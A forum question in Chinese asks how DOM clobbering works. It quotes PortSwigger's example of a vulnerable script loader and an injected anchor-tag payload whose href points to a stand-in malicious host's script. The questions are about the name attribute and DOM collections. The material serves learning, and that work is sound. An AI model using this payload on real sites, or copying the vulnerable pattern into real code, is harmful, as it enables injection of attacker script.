我对DOM Clobbering的主题有一些疑问:
Portswigger 对此进行了解释:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
要利用此易受攻击的代码,您可以注入以下 HTML 以使用锚元素破坏 someObject 引用:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
由于两个锚点使用相同的 ID,DOM 将它们组合在一个 DOM 集合中。DOM 破坏向量然后用这个 DOM 集合覆盖 someObject 引用。在最后一个锚元素上使用了 name 属性,以破坏 someObject 对象的 url 属性,该属性指向外部脚本。
我的理解是:
带有 id 的锚元素someObject
存储在一个类似数组的结构中——一个 DOM 集合。
通过
var someObject = window.someObject || {};
锚元素是使用 id 引用的——一些浏览器将 id 直接存储在 window 对象中(是否始终可以从 window 对象获得 html 元素的 ID?)。
然而:
- 为什么 name 属性会用 URL 覆盖 url 属性?
- DOM 集合与这一切有什么关系?
window.someObject || {}
( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer )中的对象初始化程序是否对攻击起任何作用?
这就是控制台所说的:
(有关此主题的更多信息也可以在这里找到:https ://medium.com/@shilpybanerjee/dom-clobbering-its-clobbering-time-f8dd5c8fbc4b )